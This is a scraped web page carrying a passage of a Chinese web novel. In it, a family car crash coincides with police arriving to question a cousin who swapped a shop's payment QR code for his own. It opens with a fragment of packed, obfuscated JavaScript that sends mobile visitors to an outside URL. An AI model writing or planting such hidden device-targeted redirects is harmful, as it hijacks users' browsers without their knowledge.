RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709229|207721||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 我去医院做什么?要是没陪我去医院,就不会发生这事。” 林父是一个头两个大。 他们这里远离县区,救护车和交警还没到,隔壁的派出所先到了。 “谁报的案?”两名民警问。 林父没空和他们闹,他掰开林老太太的手,走过去道:“是我,警察同事,这里发生车祸。” “车祸?”男民警纠正,“这里有人报警,说是有人换取店里二维码进行盗窃。” “什么窃?”林父没反应过来,瘫软坐在椅子上慢慢有些苏醒的林强,一听这话,又昏了过去。 “强子,强子——”林大伯母率先注意到林强晕了,更加大声哭喊起来,“你怎么了啊?别吓妈妈,救护车呢?救护车呢?!” 林清走出来,对两位民警道:“您好,是我报的警。” 林大伯母哭声停顿了一下,继续大声哭。 警察跟着林清去店里了。 救护车来了。 林大伯一家都被带上救护车,林大伯都被吓傻,林老太太要死不活,当然是林父跟着去。 事关人命,林母看着撞得严重的车,也没拦着,反而催促:“你赶紧去吧,每个人都要做全身检查,特别是脑子。” 她没有半点幸灾乐祸。 林大伯一家是带着林老太太去医院,回来的路上在这里撞的,要是有点什么事,他们也别做生意了,顾客都觉得晦气。 救护车离开前,林大伯母透过车窗,看到林清正在店门前,指着墙上的二维码对着民警说话。 她没再哭,看着“昏迷”的林强,心里有不好的预感。 国人看热闹的特性,那是刻在骨子里的。 救护车把人送走,保险公司的人和交警来了,那辆被撞坏的车也被拉走,围观的群众久久不散。 茶馆瞬间被坐满,大家七嘴八舌在讨论着。 爆满的生意,让店内的人提前忙了起来。 不远处,林清正和两名民警在交谈,众人也伸长脖子在打量,一脸好奇。 “不是发生车祸吗?警察怎么也来了?” “听说是店里的收款码被换了,有人盗窃。” “这么大胆?查出来吗?” “这不是报警了吗?” “怎么回事?发生什么了?” ...... 医院内。 林父忙前忙后,还要安抚瑟瑟发抖的林老太太和嗷嗷哭的林大伯母。 林大伯脸色发白,不断道:“那辆车是不是报废了?这可怎么办?欠的钱要怎么办?” 林父这才知道,哪里是什么全款,一共就付了十万的首付,剩下全是贷的,一个月得还五千几,要还三年。 他已经被气得没脾气,他们这个小县城,人均收入两三千,一个月还五千几。 一家子脑子都被驴踢了。 “不是买了保险吗?保险会修好,现在知道怕了?”林父已经无语了。 他听医生说几人检查都没事,算是松了一口气,这才有空给林清打电话。 刚刚他其实也打过,林清那边正在占线。 林父又一次打过去时,接通了,林清没有废话,直言道:“林强换了我们家店里墙上的一个收款二维码,换成他自己的收款码。” 听言,林父脸色收敛,眼底担忧骤然消散,“警察怎么说?” “警察去医院找他了。” ...... 急诊室内。 林强在一阵抢救中被迫“苏醒”,他正躺在病床上,被一层帘子隔着。 他刚要起身,就听到外面传来一道询问:“请问林强是在这吗?我们是警察,有事找他。” 护士还没回答,林大伯母万分急切的声音就传来:“你们找我儿子做什么?他刚发生车祸,还不知道会怎么样,你们不能找他!”